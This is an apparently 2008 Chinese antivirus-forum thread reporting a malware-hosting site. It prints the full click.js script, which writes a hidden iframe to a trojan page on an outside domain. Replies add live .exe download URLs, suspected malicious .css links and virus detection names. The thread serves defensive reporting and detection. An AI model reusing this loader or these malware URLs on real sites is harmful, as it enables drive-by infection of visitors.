举报http://reheie.cn/page/add_54738542.htm

显示全部楼层 · 发表于 2008-8-18 18:12:42

一个挂马站http://conn.ch.ma/click.js，里面内容为
var cookieString = new String(document.cookie);
var cookieHeader = 'ises' ;
var Then = new Date();
Then.setTime(Then.getTime() + 30*60*1000 );
var beginPosition = cookieString.indexOf(cookieHeader);
if (beginPosition == -1)
{
document.write('<iframe height="0" frameborder="1" src="http://reheie.cn/page/add_54738542.htm" width="100" ></iframe>');
document.cookie = "Cookieak=ises;expires="+ Then.toGMTString() +";path=/";
}

http://reheie.cn/page/add_54738542.htm为各种木马的网页，建议封掉这两个站

显示全部楼层 · 发表于 2008-8-18 18:17:17

js泛滥

显示全部楼层 · 发表于 2008-8-18 18:18:36

无任何反应啊..

显示全部楼层 · 发表于 2008-8-18 18:19:55

弹了个东东

显示全部楼层 · 发表于 2008-8-18 18:30:00

http://reheie.cn/sina.exe
http://reheie.cn/s.exe

显示全部楼层 · 发表于 2008-8-18 18:33:35

趋势轻松搞定貌似老毒啊
很像是报壳的说

显示全部楼层 · 发表于 2008-8-18 18:47:30

卡饭又不是电信部门如何封
Trojan-Downloader.Win32.Small.zie
Trojan-Downloader.Win32.Agent.vgu

显示全部楼层 · 发表于 2008-8-18 18:49:47

Drweb found Trojan.DownLoad.1124 and Trojan.MulDrop.18184

显示全部楼层 · 发表于 2008-8-18 18:57:56

http://user.comgome.cn/bak.css
http://user1.12-27.net/bak.css
估计一样

显示全部楼层 · 发表于 2008-8-18 22:29:45

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Trojan.Win32.Undef.kff
病毒： Trojan.DL.Win32.Undef.afr

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.58.02

[病毒样本] 举报http://reheie.cn/page/add_54738542.htm

4/2